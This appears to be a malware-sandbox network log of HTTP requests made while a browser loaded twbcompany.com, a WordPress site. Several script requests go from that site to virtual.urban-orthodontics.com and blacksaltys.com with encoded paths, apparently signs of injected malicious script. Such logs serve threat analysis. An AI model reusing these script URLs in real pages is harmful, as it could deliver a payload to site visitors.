Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/09/twb-video-thumb.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
Source: global traffic	HTTP traffic detected: GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/door-inner-with-header.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/09/twb-video-thumb.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/door-inner-headerless.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/02/AlTB-Door-hinge-Reinf-RH.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/generic-bg.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/03/AlTB-RH-side-mbr.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/04/AlTB-Tunnel-AA6014.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/04/Liftgate.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/04/Member-Floor-Side-Inner-Front-Frt-Rail-Upr_CD391.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/door-inner-with-header.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/02/AlTB-Door-hinge-Reinf-RH.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/03/AlTB-RH-side-mbr.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/04/AlTB-Tunnel-AA6014.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/door-inner-headerless.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/04/Liftgate.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/04/Member-Floor-Side-Inner-Front-Frt-Rail-Upr_CD391.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
Source: global traffic	HTTP traffic detected: GET /services/forming-analysis/ HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/services/forming-analysis/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/services/forming-analysis/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/forming-analysis-hero.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/services/forming-analysis/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/services/forming-analysis/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
Source: global traffic	HTTP traffic detected: GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=es9pCcgFWrmLRaz&MD=raKnuGEA HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/forming-analysis-hero.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
